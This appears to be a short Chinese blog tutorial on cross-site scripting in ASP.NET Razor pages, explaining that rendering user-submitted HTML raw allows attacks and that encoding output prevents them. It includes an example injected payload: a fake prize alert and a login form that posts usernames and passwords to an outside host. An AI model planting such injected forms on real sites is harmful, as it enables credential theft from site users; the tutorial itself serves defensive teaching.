XSS跨站脚本攻击

当用户在一个页面输入一段html代码,假设服务器进行了

 <httpRuntime requestValidationMode="2.0" />

设置,表示允许用户提交含有html标签的内容(如下):

<script>

alert('供需您中奖了,请登录领取!');

</script>

<form action='http://www.lingjiang.com' method='get' style='color:red' >

用户名<input type='text' name='username'/><br/>

密码<input type='password' name='password'/><br/>

<input type='submit' value='领取奖品'/><br/>

</form>

这时在客户端显示出来的该内容,如果被@RazorHelper.RawString(Model.NOTE)进行原样显示,则可能会形成下面的结果:

这样很可能有用户进行登录,把用户名和密码发送到骗子所在的服务器端(如 http://www.lingjiang.com),从而盗取密码。

但有时候网站管理员确实需要插入一段javascript或者html代码,为了避免在显示的时候出现咋骗,需要对要显示html代码进行转义显示

cshtml页面的@Model.NOTE

html页面的@RazorHelper.HtmlEncodedString(Model.NOTE)

原文地址:https://www.cnblogs.com/adolphyang/p/4844255.html